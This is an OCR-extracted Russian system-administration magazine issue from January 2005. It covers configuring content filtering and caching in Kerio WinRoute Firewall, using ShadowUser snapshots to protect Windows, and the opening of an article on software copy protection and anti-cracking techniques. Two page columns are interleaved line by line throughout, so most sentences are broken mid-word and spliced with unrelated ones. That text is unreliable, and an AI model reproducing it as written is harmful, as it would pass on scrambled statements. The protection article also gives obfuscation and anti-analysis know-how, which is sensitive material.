ка по умолчанию. Есть возможность задать два типа огра- Проверяем, все ли корректно настроено. На клиенте
ничений – на суточный трафик, и на суммарный месячный. откроем интернет-браузер и попробуем посетить любую
Причем оба параметра могут существовать одновремен- страничку. При первом подключении к ресурсам внешней
но. То есть даже если пользователю задан месячный ли- сети будет выведен запрос о перенаправлении на защи-
мит на 100 Мб, можно указать, что за день он не имеет пра- щенное соединение и при подтверждении выведено окно
ва использовать более 4 Мб. Тогда вы гарантированно из- авторизации. В нем вы должны указать корректное имя
бавляетесь от проблем, связанных с использованием все- пользователя и пароль. После этого авторизация будет про-
го месячного лимита за один день и последующего обива- ходить для новых соединений автоматически.
ния вашего порога с криками: «Интернет нужен мне по ра- Если после авторизации запрошенная страница не от-
боте! Немедленно верните Интернет!». Здесь же можно ука- крылась – попробуйте ввести адрес еще раз. Запрос авто-
зать, на какой именно трафик устанавливается лимит – вхо- ризации появляется только один раз. Дальше (до истече-
дящий, исходящий или суммарный. Чаще всего оплачива- ния выставленного тайм-аута авторизации) авторизация
ется входящий трафик, хотя бывают и другие тарифы. Уточ- осуществляется автоматически.

32
безопасность
На этом минимальная настройка для полноценной ра- ку, с которой начинается ссылка, выбрать группу адресов,
боты закончена. Далее будут описаны продвинутые концеп- указать на поиск в рейтинге фильтра Cobion, а также ука-
ции: использование фильтра Cobion, ручная настройка зать, что необходимо производить данное действие над
Traffic Policy и пр. Акцентирую ваше внимание, что настрой- ресурсами, которые не имеют DNS-имени, а адресуются
ку Traffic Policy вручную рекомендуется проводить только простым указанием IP-адреса. Наиболее удобные и рацио-
если вы в совершенстве знаете механизмы обмена в IP- нальные способы – это задание групп адресов, а также ис-
сетях. В противном случае рискуете подвергнуть локаль- пользование фильтра Cobion. Группе может соответство-
ную сеть атакам злоумышленников, а также предоставить вать много разных критериев, которые рассматриваются по
пользователям полный неконтролируемый доступ к вне- принципу «OR» (логическое ИЛИ), а смысловые фильтры
шним ресурсам. Cobion вообще отличаются интеллектуальным механизмом
анализа запрашиваемого контента.
Настройка фильтров HTTP, FTP и Cobion В разделе Action указывается действие, которое пред-
Переходим в консоль Content Filtering. Выбираем HTTP. принимается при совпадении условий.
Рассмотрим доступные закладки в порядке их использова- Закладка Advanced: здесь можно задать дополнитель-
ния: ные критерии правила:
URL Rules: Правила фильтрации контента по вхожде- Valid at time interval – задает интервал времени, в тече-
нию значений в URL ресурса. По умолчанию (и для приме- ние которого действует правило.
ра) здесь уже созданы несколько правил. Разрешающие – Valid for IP address group – задает группу IP-адресов, на
для Windows Update и Kerio Update. А также запрещающие: которую будет распространяться это правило.
для фильтрации рекламы и трафика по категориям в филь- Используя эти параметры, можно гибко настраивать пра-
тре Cobion. Kerio умеет подменять баннеры своими соб- вила фильтрации. Например, задав группу IP-адресов и
ственными изображениями, чтобы форматирование стра- требуемый интервал действия правила, можно запретить
ницы не рушилось. Можно либо выводить «пустое место», посещать указанные категории ресурсов в рабочее время
либо перенаправлять запрос на другой ресурс. Комплекс- для группы компьютеров. Например, создавая правило с
ное использование и тонкая настройка этих фильтров ус- «URL begin with *» и указывая рабочий временной интер-
пешно решают проблему запрета доступа к огромному ко- вал, мы запретим указанной группе пользоваться доступом
личеству нежелательных ресурсов. Использование фильт- в Интернет в рабочее время. Или наоборот – во внерабо-
ров Cobion позволяет ограничивать доступ к ресурсам не чее. Все зависит от корпоративной политики предприятия.
на основе маски URL, а по простому смысловому вхожде- В Denial Options задается выводимое сообщение, кото-
нию. Рассмотрим настройку фильтров на конкретном при- рое появляется при совпадении условий запроса и прави-
мере, поясняя неоднозначные действия. Итак: ла. Можно перенаправлять такие запросы на заданный URL.
Закладка URL Rules: Оставляем правила Windows В закладке Content Rules задаются правила фильтра-
Update и Kerio Update как есть. Устанавливаем галку на ции, описанные выше, в разделе создания пользовательс-
правиле «Remove Advertisement and banners», открываем ких шаблонов (Define User Template).
правило двойным щелчком мыши. Можно переименовать Настроим правило с использованием Cobion-фильтра.
правило так, как удобно, а также настроить особенности Оно уже прописано по умолчанию в HTTP-Policy – «Deny
его применения. sites rated in Cobion categories». По умолчанию фильтры в
Cobion отключены. Подключим необходимые вручную. От-
крываем правило и проверяем, что данный трафик запре-
щен (Deny access to Web site), а в URL matches criteria уста-
новлен переключатель: «Is rated by Cobion Content Rating
system». Затем нажимаем справа кнопку «Select Rating» и
галочками отмечаем категории, которые необходимо зап-
ретить. Каждая категория обладает определенным «весом»,
который суммируется и, исходя из него, принимается ре-
шение о разрешении/запрете объектов. В правом нижнем
углу можно настроить «суммарный вес» объектов, при ко-
торых запрос к сайту будет отклонен. После этого любая
попытка посетить сайт, запрещенный с точки зрения Cobion
Rating, окончится выдачей запрещающей страницы с моти-
вацией этого запрета. То есть пользователь не просто по-
лучает отказ сервера, а видит сообщение о том, что дан-
ный ресурс входит в запрещенную категорию, с указанием
ее названия.
If user accessing the URL is – здесь можно выбрать рас- Закладка Content Rules задает правила фильтрации
пространение правила на всех пользователей, либо указать HTML-объектов для всего трафика.
принадлежность пользователя к группе. На закладке Cache есть возможность задать кэширо-
And URL matches criteria – задает категорию ресурсов, вание уже скачанных объектов для ускорения доступа к ним
на которые распространяется правило. Можно указать мас- и экономии трафика. Однако экономия трафика не всегда

№1, январь 2005 33


безопасность
оправдывает включение кэширования, особенно если за- ходимо присвоить определенный «вес», который и будет
дан большой «срок жизни» объектов (TTL). Например, нет влиять на суммарную политику доступа.
смысла кэшировать содержимое сообщений форумов или Эта фильтрация глобально применяется ко всему http-
новостных агентств. Кэширование можно настроить либо трафику и осуществляется после обработки правил URL
на обработку всех запросов без исключения (режим (только в случае, если доступ к запрошенной странице раз-
Transparent proxy), либо только тех, что исходят от программ решен).
с явными установками параметров прокси-сервера. Помимо этого WinRoute 6 имеет встроенный «Cobion
Параметр HTTP protocol TTL – срок хранения объектов в Orange Filter». Включить его можно через cледующую кон-
кэше до их обновления с оригинальных сайтов. При помощи соль «Configuration → Advanced Options → Cobion Settings».
кнопки URL Specific Settings можно задавать исключения для Система оценки содержания Cobion – часть системы
ресурсов по маске. Например, если HTTP protocol TTL уста- Cobion, интегрированная в WinRoute. Она позволяет
новлен в «1», а в URL Specific Settings добавить URL: *forum* WinRoute оценивать содержание веб-страниц по категори-
и выставить TTL=0, то ресурсы, содержащие в любом месте ям. Фильтр Cobion использует динамическую международ-
URL вхождение «forum», кэшироваться не будут. ную базу данных, которая включает URL и классификацию
В Cache Options задаются параметры кэширования дан- интернет-ресурсов. Каждый раз, когда пользователь пыта-
ных. Опишем их назначение: ется получить доступ к веб-странице, WinRoute посылает
Continue Aborted Download – продолжает закачку объек- запрос оценки этой страницы. Согласно классификации
тов, даже если пользователь ее отменил. Не рекомендует- страницы пользователю будет разрешен или запрещен до-
ся устанавливать эту опцию, так как потребляемый трафик ступ к странице. Для ускорения работы данные, которые
увеличится непомерно. были уже оценены, кэшируются и используются в течение
Keep aborted file in cache – сохраняет в кэше частично заданного сервером периода.
закачанные файлы. Рекомендуется установить. Так как при На практике совокупность трех фильтров (URL, Forbidden
повторном обращении частичный файл будет взят из кэша. Words и Cobion) зарекомендовала себя с лучшей стороны.
Cache responses «302 Redirect» – сохраняет в кэше пе- Процент корректного определения запрещенных ресурсов
ренаправления запросов. очень велик. Однако, как и любая подобная система, она
Use server supplied Time-to-Live – использует параметр нуждается в тонкой настройке в процессе эксплуатации. Для
TTL, передаваемый целевым сервером. Можно активиро- этого существуют многочисленные настройки, описанные
вать эту опцию, однако это решение спорно, так как некор- выше, а также Cobion White List – список ресурсов, которые
ректно настроенный администратором ресурса параметр не требуется оценивать при помощи запросов к базе Cobion.
TTL может задать объекту слишком большой срок жизни в Политика FTP-доступа настраивается аналогично и ин-
кэше. Соответственно, пользователи при обращении к ре- туитивно понятна.
сурсу получат устаревшую информацию. Отдельного внимания заслуживает раздел Antivirus. В
Ignore server Cache-Control directive – игнорирует пара- дистрибутив встроен антивирусный продукт McAffee для ска-
метр TTL, передаваемый запрашиваемым сервером. нирования всего трафика, проходящего через WinRoute 6.
Always validate files in cache – проверяет обновление Здесь задается периодичность проверки обновлений (ре-
файла на исходном сервере при каждом запросе, незави- комендую выставить 1 час). Помимо проходящего HTTP- и
симо от TTL. Наверное, самый оптимальный параметр на- FTP-трафика есть возможность сканировать SMTP- и POP3-
стройки, так как минимизирует риск выдачи клиенту уста- трафик, отрезая зараженные вложения и (при необходимо-
ревшей информации из кэша. сти) добавляя в тему письма модифицируемое сообщение.
На закладке Proxy Server включается непрозрачный про- Кроме встроенного McAffee, имеется возможность подклю-
кси-сервер, который и указывается явно в интернет-прило- чать внешние антивирусы (из списка).
жениях. В принципе, если без него все работает – указы- В настройках антивируса имеется возможность опове-
вать приложениям работу через него не требуется. Это щать пользователя по e-mail о том, что он пытался скачать
принципиальное отличие от предыдущего продукта (Kerio инфицированный объект, перенаправлять зараженные
WinRoute Pro 4) оказалось очень приятным нововведением письма администратору, сохранять инфицированные объек-
для администраторов. В URL Groups задаются группы ад- ты в карантине, а также добавлять в тему письма сигналь-
ресов, которые потом можно использовать при создании ные строки. Однако оповещение по e-mail (в отличие от pop-
правил фильтрации. up-сообщений) не является удобным и актуальным, поэто-
Forbidden Words – набор правил для смыслового-филь- му проще просто блокировать объект. К сожалению, воз-
тра, который также используется для фильтрации контента можность посылать пользователю мгновенные всплываю-
(описано выше). Он анализирует информацию подобно по- щие сообщения об обнаружении вируса в его трафике от-
исковой системе. То есть рассматривается не только сама сутствует.
ссылка, но и ее содержание. В этом и есть главное отличие Kerio WinRoute Firewall – очень мощное и многофункци-
смыслового фильтра от обычных URL-Access-Rules. Спра- ональное средство для защиты и организации общего дос-
ва внизу задается лимит «суммарного веса» наличия на зап- тупа в Интернет. Описанные возможности составляют лишь
рашиваемой странице запрещенных слов. Изменяя это зна- половину его функциональности. Система имеет прекрас-
чение, а также значения каждого слова, можно добиться ную встроенную систему помощи (на английском языке),
оптимальной работы фильтра. Для удобства слова можно которая поможет получить ответы на многие вопросы, свя-
объединять в группы. Каждому запрещенному слову необ- занные с конфигурированием продукта.

34
безопасность

ЗАЩИТА ФАЙЛОВОЙ СИСТЕМЫ ПРИ ПОМОЩИ


НЕСТАНДАРТНОГО ИСПОЛЬЗОВАНИЯ СНАПШОТОВ
В ПРОГРАММЕ ShadowUser
ДЕНИС БАТРАНКОВ
Что такое снапшот настоящая файловая система работает в обычном режиме.
Те, кто знаком с системами архивирования в базах данных, Для хранения этих данных требуется свободное место. Где
знают, что такое снапшот. Snapshot с английского перево- хранятся старые данные, нужно узнавать у каждого произ-
дится как снимок. Здесь используется термин из фотогра- водителя драйвера – это важное отличие в реализации тех-
фии, поскольку действие этой технологии аналогично сним- нологии. Местом для хранения старых данных может слу-
ку фотоаппарата. По сути снапшот – это зафиксированная жить другой свободный диск, оперативная память или даже
мгновенно в определенный момент времени копия файло- неиспользуемое место на этом же диске. В случае если сво-
вой системы, какого бы большого размера она ни была. Со- бодное место для хранения старых секторов заканчивается,
здав такой снапшот, можно заняться архивированием этой снапшот автоматически исчезает. В VSS, например, для хра-
огромной «фотографии» на различные внешние носители: нения информации об измененных секторах диска исполь-
магнитную ленту, CD- или DVD-диски. Вся прелесть в том, зуется свободное место на другом диске, что, на мой взгляд,
что, во-первых, все создается мгновенно, во-вторых, сама не очень удобно, особенно когда другого диска нет.
файловая система продолжает изменяться, а вот ее снап- На мой взгляд, лучше всех реализованы снапшоты у
шот (снимок) – нет и, в-третьих, тут нет заблокированных фирмы Storagecraft (http://www.storagecraft.com/products/
файлов. И действительно, идея неплоха: уже не нужно пол- vsnap.html), поскольку их технология в виде теневой копии
ностью останавливать базу данных, чтобы выполнить ее ар- диска не требует дополнительного места на других дисках,
хивацию. Перед созданием образа базы данных со снапшо- как у Microsoft, – вся нужная драйверу информация сохра-
та нужно лишь притормозить все файловые операции и ски- няется в свободные сектора этого же диска. Кроме того,
нуть буферы из памяти на диск так, чтобы не было опера- только у них я встретил режим ColdSnap, который позволя-
ций, «сфотографированных» посередине выполнения. Для ет сделать снимок сразу на этапе загрузки операционной
этого XP предоставляет сервис VSS, основанный на COM. системы – в момент монтирования файловой системы. То
Производители могут использовать различные терми- есть образ файловой системы (и в том числе системного
ны для обозначения снапшотов: срез, теневая копия, вир- тома) можно делать так, как это делает Symantec Ghost при
туальный образ, но общая идея их работы от этого не ме- загрузке с дискеты или загрузочного CD-ROM.
няется. Мне нравится понятие снимок. В операционной си-
стеме Windows (версии NT, 2000, XP, 2003) эта технология Нестандартное использование снапшотов
реализована специальными драйверами снапшотов от раз-
личных производителей. Microsoft начал поддерживать эту
технологию в Windows XP и 2003 в виде сервиса Volume
Shadow Copy Service (VSS).

Как это работает


Драйвер снапшотов работает как фильтр файловой системы,
который пропускает через себя все команды чтения и запи-
си данных на диск. По команде «сделать снимок» драйвер
начинает запоминать все изменения, которые производятся
на файловой системе, а именно удаление, создание и пере-
запись файлов и папок. И все. Вся работа по воссозданию
копии происходит в момент доступа приложений к этой ко-
пии. Драйвер, пользуясь имеющейся у него информацией о
том, какие секторы были изменены, подставляет файловой В программе ShadowUser от компании ShadowStor (http://
системе снапшота вместо измененных секторов сохранен- www.shadowstor.com/products.html) тоже используется идея
ные старые. Можно смонтировать эту копию как букву диска снапшотов. Здесь появилась возможность смонтировать
и делать архивацию любой доступной программой, то есть файловую систему не на реальном диске, а на снапшоте.
работать как с любым другим диском. Любая программа ар- Этот режим называется ShadowMode. Теоретически снапшо-
хивации теперь может обращаться к снапшоту как к копии ты предназначены только для чтения, но здесь оригинально
диска, на которой все файлы доступны для чтения. Можно воплощена идея записи на снапшот. Над образом файло-
сделать снимок сразу на нескольких дисках одновременно. вой системы (который сохраняется на жестком диске неиз-
О том, где хранятся старые сектора, знает только драйвер, а менным) при загрузке устанавливается фильтр файловой

№1, январь 2005 35


безопасность
системы. Грубо говоря, в режиме ShadowMode этот фильтр Кроме того, при помощи обычной перезагрузки можно
эмулирует новую файловую систему, которая на самом деле избавиться от накопленного за время работы мусора: cookies,
не меняет ничего в образе файловой системы на диске, а файлов истории explorer, spyware, который так и норовит про-
просто запоминает изменения, которые делают пользовате- писаться в домашнюю страничку explorer. Можно даже тес-
ли, программы и другие сервисы ОС. То есть эту новую фай- тировать другие продукты в этом режиме, чтобы в случае
ловую систему можно сравнить опять же с фотографией, на неудачи перезагрузить компьютер и получить очищенную от
которой вы можете пририсовать всем усы, но в реальности нового продукта файловую систему.
усов у них не появится. Все изменения пишутся в незанятые Нужно заметить, что ShadowMode – отличное средство в
сектора, не затрагивая реальную файловую систему. И все борьбе администраторов с непослушными пользователями,
эти изменения будут потеряны, как только вы перегрузите которые норовят испортить свой компьютер и обвинить во
компьютер. Можете даже выдернуть питание из компьюте- всем администратора. Теперь не нужно долго разбираться,
ра – ничего c настоящей файловой системой не случится, почему что-то исчезло с компьютера или наоборот появи-
поскольку ее никто не меняет. Драйвер работает так неза- лось, – просто пезагрузитесь в новую сессию ShadowMode.
метно, что не оставляет своих следов нигде – ни в MBR, ни в Типичные ситуации, когда необходим режим ShadowMode:
таблице разделов, ни во внутренних структурах FAT, FAT32 ! Любое интернет-кафе может успешно использовать эту
или NTFS. С точки зрения драйвера снапшотов в режиме технологию: для каждого нового клиента операционная
ShadowMode дисковое пространство делится на три части: система будет выглядеть чистой, словно только что уста-
область, занятая файловой системой (таблицы, директории, новленная.
файлы), область, свободная для записи, и из неё выделяет- ! В школах, институтах, различных обучающих центрах:
ся область, занятая драйвером, в которой хранится инфор- после каждой лабораторной работы легко можно вос-
мация об измененных секторах. Операционная система и становить начальную конфигурацию – для этого нужно
пользователь ничего не знают об этой области и рассматри- просто перегрузить все компьютеры класса.
вают две последние области как свободное место. В случае ! Публичные библиотеки могут не бояться пользователей,
если в процессе работы драйвер займет всё свободное про- приходящих со своими дискетами, поскольку в Shadow
странство на диске, то возникнет ошибка записи – писать-то Mode невозможно записать на диск вирус, а с виртуаль-
некуда. Тут помогает только перезагрузка. ного диска вирусы стираются обычной перезагрузкой.
! Рабочие места сотрудников различных компаний могут
быть навсегда избавлены от вирусов. Не важно, сотруд-
ник ли это банка или туристического агентства. Что ни в
коем случае не помешает сохранению полезных данных,
которые этот сотрудник создает в процессе своей рабо-
ты, поскольку можно настроить программу ShadowUser
для сохранения этих данных. Читайте далее об этом.
! Сервера, где важно время восстановления после краха.
Например, время на восстановление сервера после ха-
керской атаки, в результате чего было изменено содер-
жимое сайта, равно времени одной перезагрузки! Если
веб-сервер при этом записывает различные данные в
базу данных, в которой информация должна постоянно
пополняться, то можно исключить из ShadowMode дирек-
торию, где лежат сами данные – чтобы они были всегда
Какие преимущества дает ShadowMode актуальны в случае восстановления всего остального.
Очень часто администратору или пользователю нужно за- Нужно заметить, что вы должны обдуманно исключать
фиксировать определенную конфигурацию операционной директории из ShadowMode, поскольку хакеру ничего не
системы, к которой нужно вернуться в случае сбоев систе- помешает воспользоваться этой «дыркой». Для работы
мы. Раньше производилась архивация дисков и последую- с серверами предназначен другой продукт: ShadowServer.
щее восстановление из копии. Теперь эти операции можно
делать быстрее и удобнее. Достаточно настроить нужную В продукте ShadowUser учтено, что пользователь должен
конфигурацию: установить операционную систему, устано- хранить где-то свои документы, которые ему не хотелось бы
вить нужные программы и затем перезагрузиться в режим потерять после перезагрузки. Чтобы избежать этого, вы мо-
ShadowMode. Все. Теперь реальный диск находится под не- жете добавить некоторые папки в список так называемых
пробиваемой защитой ShadowMode. Если что-то произош- исключаемых директорий, и все файлы и содержимое этих
ло с операционной системой или просто нужно восстано- директорий будут сохраняться во время работы не на снап-
вить чистую конфигурацию, то все, что вам нужно сделать, шоте, а на реальном диске. Исключать рекомендуется пап-
– это перезагрузиться, и файловая система смонтируется ку, где хранится ваша почта и рабочие документы. Кроме
на новом образе реального диска, который на самом деле того, можно указать имена исключаемых файлов при помо-
не изменялся. Можно уже не бояться, что кто-то затер нуж- щи маски. Например, укажите *.doc, и все ваши документы
ную ветку реестра, стер нужный файл или заразил компь- Word будут попадать прямо на диск, минуя снапшот. К сожа-
ютер вирусом. Все будет в идеальном состоянии. лению, в этом случае на диск будут записаны, в том числе

36
безопасность
и зараженные вирусами документы. Поэтому в случае при- тивирусного программного обеспечения на рабочей станции,
менения указанной функции антивирус необходим. Я как ад- которое требует ежедневного обновления сигнатур вирусов
министратор не стал бы пользоваться этой функцией, а про- через Интернет. Получается, что можно как минимум сэко-
сил бы пользователей хранить документы на файл-сервере, номить на ежегодной подписке на базы, да и на трафике.
где выполняется антивирусная проверка, архивирование и Становится легче обслуживать Windows: достаточно
контролируется доступ к файлам. Однако в течение одной один раз и навсегда все установить, настроить и включить
сесии ничего не мешает пользователю редактировать фай- ShadowMode. Можно на этот случай воспользоваться услу-
лы на своем диске. Просто нужно помнить, что после пере- гами стороннего администратора. К сожалению, это не за-
загрузки этот файл сотрется. щищает от уязвимостей, которые до сих пор находят (и, ве-
роятно, будут находить) в Windows, поэтому обновлять опе-
рационную систему периодически придется. Но даже если
имеющиеся уязвимости будут как-то использованы зло-
умышленником, то ему сложно будет установить и затем
воспользоваться программой удаленного управления, сниф-
фером или трояном на уязвимой рабочей станции, посколь-
ку все это будет жить до следующей перезагрузки. Даже
если вирус сможет разрушить файловую систему, то это
также вылечится перезагрузкой. На мой взгляд, фраза на
сайте www.shadowstor.com о том, что «ShadowUser полно-
стью избавляет от новых вирусов», не совсем точна. Дей-
ствительно, раньше не было утилиты, которая бы могла
удалить любой новый вирус, который еще неизвестен ан-
тивирусу. Программа ShadowUser в силу своей природы
Если в процессе работы в режиме ShadowMode пользо- делает это обычной перезагрузкой компьютера. Но суще-
ватель обнаруживает, что ему нужно сохранить данные, а ствует другая опасность, что во время сессии ShadowMode
он забыл указать какую-то директорию для исключения из зараженный компьютер может являться сам источником
снапшота, то есть несколько способов сохранить их. Во-пер- вируса или компьютерного червя. Уже были случаи, когда
вых, можно, кликнув на нужной папке правой кнопкой и выб- компьютер, зараженный компьютерным червем, сканиро-
рав пункт Commit, переписать данные этой папки со снап- вал соседние компьютеры и заражал их по сети без учас-
шота на реальный диск. Во-вторых, в момент перезагрузки тия пользователя, пользуясь ошибками переполнения бу-
можно скинуть на реальный диск все измененные данные – фера сетевых служб. Так делали в свое время черви Sasser,
для этого нужно выбрать опцию Full System Save. Эта опера- Kibuv и Lovesan, пользуясь ошибками в LSASS и DCOM RPC
ция требует времени, но это лучше, чем потерять работу, Windows. В результате, перезагружая по очереди несколь-
сделанную за день. Администратор может запретить пользо- ко зараженных в сети компьютеров, даже защищенных
вателю эту операцию, установив пароль. ShadowMode, мы просто будем перекидывать червя с од-
ного компьютера на другой, а полного лечения не добьем-
Выводы ся, пока не выключим все компьютеры. Таким образом,
У системных администраторов появилась отличная утили- ShadowUser лишь очередная преграда на пути новых виру-
та, упрощающая их жизнь. Теперь на любой звонок, что что- сов, но не последняя. К сожалению, антивирусы тоже пло-
то не работает, можно отвечать одним словом «перезагру- хо сдерживают вирусные эпидемии, поскольку антивирус-
зитесь» и быть в полной уверенности, что все будет рабо- ные компании как правило выпускают обновленные базы
тать так, как вы настроили когда-то давно. Вся прелесть в сигнатур новых вирусов уже после начала эпидемии.
том, что даже если упадет сам Windows, то после перезаг- Хочется заметить также, что не совсем верна фраза:
рузки будет эффект восстановления из архива – Windows «Вся информация пропадает после перезагрузки». Для про-
запустится как ни в чем не бывало, вдобавок рабочие до- двинутого пользователя не очень сложно посмотреть, что
кументы и почта будут спасены (естественно, если они были находится в свободных секторах, не занятых файловой си-
в списке исключаемых). У преподавателей исчезает голов- стемой. Ведь именно в них хранится та информация, кото-
ная боль с настройкой каждого компьютера перед занятия- рая была записана в прошлую сессию ShadowMode. Я ду-
ми, и уже можно безбоязненно давать портить операцион- маю, что в продукт необходимо добавить процедуру запол-
ную систему юным хакерам. Выключить ShadowMode они не нения этих мест нулями после окончания каждой сессии
смогут, поскольку для этого нужно знать пароль. Даже если ShadowMode. Мне часто бывает интересно узнать, что было
пользователи каким-то образом получат права администра- изменено на диске после установки какой-либо програм-
тора, то тоже ничего не смогут изменить, поскольку выклю- мы на компьютер. Пока я пользуюсь утилитой Sysinternals
чить ShadowMode можно только перезагрузкой, а тут есть Filemon, которая показывает список файлов, к которым об-
риск наткнуться на пароль BIOS, и к учителю все равно при- ращались процессы. Мне очень не хватает утилиты для изу-
дется обращаться. чения и сравнения изменений файловой системы «до» и
Несомненным плюсом программы является уменьшение «после». Хотелось бы от программ, реализующих техноло-
стоимости владения. Если хранить документы только на гию снапшотов, получить такую функциональность. Наде-
файл-сервере, то кажется сомнительной необходимость ан- юсь, эта функция тоже скоро будет реализована.

№1, январь 2005 37


безопасность

КАК ЗАЩИЩАЮТ ПРОГРАММНОЕ ОБЕСПЕЧЕНИЕ


…Важно не только научиться. Важно не научиться.
Не научиться бывает подчас трудней.
Нарушить стандарт, отвергнуть шаблон.
Не принять общепринятого.

Л. Озеров
«Выбор и предпочтение»

Потребность в защитных механизмах растет с каждым днем, но качество их реализации падает


вниз стремительным домкратом. Давным-давно сломан HASP, FLEX LM, ASProtect и другие
широко разрекламированные решения, лишний раз подтверждая, что вы не можете доверять
никакому коду, кроме своего собственного, но что делать, если вы и в себе не уверены?
Эта статья перечисляет основные ошибки, совершаемые разработчиками, и дает советы
по усилению защиты.
КРИС КАСПЕРСКИ
В борьбе за выживание защитные механизмы обречены. Защитный механизм должен быть глубоко интегриро-
Защита лишь продлевает мучения программы, отодвигая ван в программу, тесно переплетен с ней. Все, что быстро
ее взлом на некоторый срок. Теоретически. Практически защищается, быстро и ломается!
же ничего не стоит создать защиту, позволяющую програм- Хуже всего то, что многие протекторы содержат грубые
ме дожить до преклонных лет и «умереть» собственной ошибки реализации, нарушающие работоспособность за-
смертью, передавая наследие следующей версии. Главное – щищаемой программы или даже всей операционной сис-
правильно забаррикадироваться. Бессмысленно вешать темы вызывающим поведением (например, Armadillo заму-
стальную дверь на картонный дом. Линия обороны должна соривает реестр, замедляя работу системы, и это никак не
быть однородна во всех направлениях, поскольку стойкость отражено в документации!) Защищая программу самосто-
защиты определяется наиболее уязвимой ее частью. ятельно, вы тратите силы и время, но зато получаете пред-
Мы не будем касаться вопросов целесообразности за- сказуемый результат. «Фирменный» защитный механизм –
щиты как таковой (это отдельный больной вопрос), а сразу кот в мешке, и неизвестно, какие проблемы вас ждут.
перейдем к рекомендациям, следование которым усилит за-
щиту настолько, насколько это возможно. Необходимо не От чего защищаться
только добиться экономической нецелесообразности взло- Чаще всего программы защищают от несанкционирован-
ма, но и убить моральный стимул к хакерству «на интерес» – ного копирования, ограничения времени испытательного ис-
для этого защита должна быть максимально «тупой», а ее пользования, реконструкции оригинального алгоритма и мо-
взлом – рутинным. дификации файла на диске и памяти.
Выбирайте только надежные, системно-независимые
методики. Хитроумные антиотладочные приемы только раз- Защита от копирования,
жигают хакерский интерес, и что еще хуже – выдают лож- распространения серийного номера
ные, срабатывая у легальных пользователей, а этого до- От несанкционированного копирования в принципе защи-
пускать ни в коем случае нельзя. Делайте ставку на час- щает привязка к машине (как это сделать с прикладного
тый выход новых версий и техническую поддержку – это уровня, см. в статье [1]). «В принципе» потому, что пользо-
оттолкнет пользователей от «кракнутых» версий. вателям очень не нравится, когда ограничивают их свобо-
ду, поэтому привязывайтесь только к носителю (лазерному
Джинн из бутылки, или недостатки диску). Нет никакой необходимости выполнять проверку при
решений из коробки каждом запуске программы, требуя наличия диска в при-
Зачем изобретать велосипед, когда на рынке представлено воде (а сможет ли ваша программа «увидеть» его по сети?),
множество готовых решений – как программных (ASProtect, достаточно проверки на этапе инсталляции. Не надо бо-
FLEX LM, Extreme Protector), так и аппаратных (HASP, Sentinel, яться, что это ослабит защиту – в любом случае при нали-
Hardlock)? Ответ – стойкость защиты обратно пропорцио- чии ключевого диска, программа отвязывается элементар-
нальна ее распространенности, особенно если она допус- но. Цель «привязки» – противостоять не хакерам, а пользо-
кает универсальный взлом (а все вышеперечисленные ре- вателям. О том, как создать диск, не копируемый копиров-
шения его допускают). Даже начинающий хакер, скачавший щиками защищенных дисков (Alcohol, CloneCD), можно про-
руководство по борьбе с HASP, за короткое время «отвя- читать в [2] или [3] .
жет» программу, особенно если защита сводится к триви- Пусть защита периодически «стучится» в Интернет, пе-
альному: редавая вам серийный номер. Если один и тот же серий-
ный номер будет поступать со многих IP-адресов, можно
if (IsHaspPresent() != OK) exit(); передать удаленную команду на дезактивацию «флага» ре-

38
безопасность
гистрации (удалять файл с диска категорически недопус- говорит!). Игнорируйте первые четыре символа s/n, поса-
тимо!). Только не возлагайте на этот механизм больших див на них подложный расшифровщик – обычно хакеры
надежд – пользователь может поставить брандмауэр (прав- ставят точку останова на начало s/n, но не на его середину.
да, локальные брандмауэры легко обойти, см. [4]) или же Еще лучше, если каждый из нескольких расшифровщиков
вовсе работать на машине, изолированной от сети. будет использовать «свою» часть s/n. Спрашивайте имя,
Защита серийным номером (далее по тексту – s/n) не компанию, прочие регистрационные данные, делайте с ними
препятствует несанкционированному копированию, но если сложные манипуляции, но никак их не используйте – пусть
все серийные номера различны, можно вычислить пользо- хакер сам разбирается, какие из них актуальные, а какие
вателя, выложившего свой s/n в сеть. То же самое относит- нет.
ся и к парам имя пользователя/код активации (далее по тек- Шифровка называется динамической, если ни в какой
сту – u/r). момент весь код программы не расшифровывается цели-
Идея: пусть сервер генерирует дистрибутивный файл ком, в противном случае хакер может снять с него дамп, и
индивидуально на основе регистрационных данных, пере- привет! Расшифровывайте функцию перед вызовом, а по
данных пользователям. Тогда его u/r не подойдет к чужим выходу из нее – зашифровывайте вновь. Используйте не-
файлам и весь дистрибутив придется выкладывать в сеть сколько независимых шифровщиков и перекрытия шифроб-
целиком, что намного проблематичней, и к тому же далеко локов, иначе хакер расшифрует программу «руками» са-
не каждый пользователь рискнет скачивать двоичный файл мого расшифровщика, просто передавая ему номера/ука-
из ненадежных источников. затели зашифрованных блоков, и сбросит дамп. Многослов-
ная шифровка: делаем на каждом «слое» что-то полезное,
Защита испытательным сроком затем расшифровываем следующий слой и т. д. Программ-
При защите «испытательным сроком» никогда не полагай- ный код как бы размазывается между слоями, вынуждая
тесь на системную дату – ее очень легко перевести «на- хакера анализировать каждый из них. Если же весь про-
зад». Сравнивайте текущую дату с датой последнего за- граммный код сосредоточен в одном-единственном слое,
пуска программы, сохраненной в надежном месте, помня о количество слоев шифровки, «оборачивающих» его, не
том, что не всякое расхождение свидетельствует о попыт- имеет никакого значения и ничуть не усложняет взлом.
ке взлома – может, это пользователь поправляет неверно Разбавляйте защитный код (и в особенности код рас-
идущие часы. Используйте несколько независимых источ- шифровщика) большим количеством мусорных инструк-
ников – отталкивайтесь от даты открываемых файлов (или ций – процедуру размером в 1 Мбайт за разумное время
в общем случае – файлов, обнаруженных на компьютере дизассемблировать практически нереально. Мусор легко
пользователя), подключайтесь к службе атомного времени генерировать и автоматически (ищите в вирусных журна-
(если доступен Интернет) и т. д. лах полиморфные движки) – следите только за тем, чтобы
Для предотвращения деинсталляции/повторной инстал- визуально он был неотличим от полезного кода. Еще луч-
ляции никогда не оставляйте никаких «скрытых» пометок в ший результат дают виртуальные машины, выполняющие
реестре или файловой системе. Во-первых, «уходя, заме- элементарные логические операции (Сети Петри, Стрелка
тай следы», а во-вторых, пользователь может запускать Пирса, Машина Тьюринга). Даже если хакер напишет де-
вашу программу из-под эмулятора ПК (Microsoft Virtual PC, компилятор, на реконструкцию алгоритма уйдет вся остав-
VM Ware), – современные аппаратные мощности это уже шаяся жизнь (подробнее см. [5]).
позволяют. Он просто переформатирует виртуальный диск, При использовании однослойной шифровки размазы-
уничтожая все следы пребывания вашей программы. Со- вайте расшифровщик по телу программы, никогда не рас-
